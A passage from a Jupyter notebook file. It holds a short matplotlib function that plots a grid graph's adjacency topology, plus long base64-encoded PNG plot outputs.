v6RQlX3FZ\nlbod4zsKWec8SQljzGpJIyT9xHNPUFKv2j0q6U+S/qLk59igflJzphljHpL0oqQDjDEbjDFnSPqp\npCOMMa8q+d1YP/XZ6FsnazRH0u6SFqY+X//Sa6RHnaxPUPgJ6AAAAA5y5pUpAAAAHximAAAAHDBM\nAQAAOGCYAgAAcMAwBQAA4IBhCgAAwAHDFAAAgAOGKQAAAAf/H/meQg8z7PzDAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x111b2ec88>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import matplotlib.pylab as plt\n", "\n", "def plot_topology(Adj, M, N):\n", " plt.figure(figsize=(10,10))\n", " for k,ls in enumerate(Adj):\n", " i,j = idx2ind(k, M,N)\n", " for u in ls:\n", " i_target, j_target = idx2ind(u, M,N)\n", " plt.plot([j, j_target ],[i, i_target],'k')\n", "\n", " if Adj[k]:\n", " plt.plot(j, i,'ro')\n", "\n", " plt.show()\n", " \n", "plot_topology(Adj, M, N)" ] }, { "cell_type": "code", "execution_count": 98, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "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\n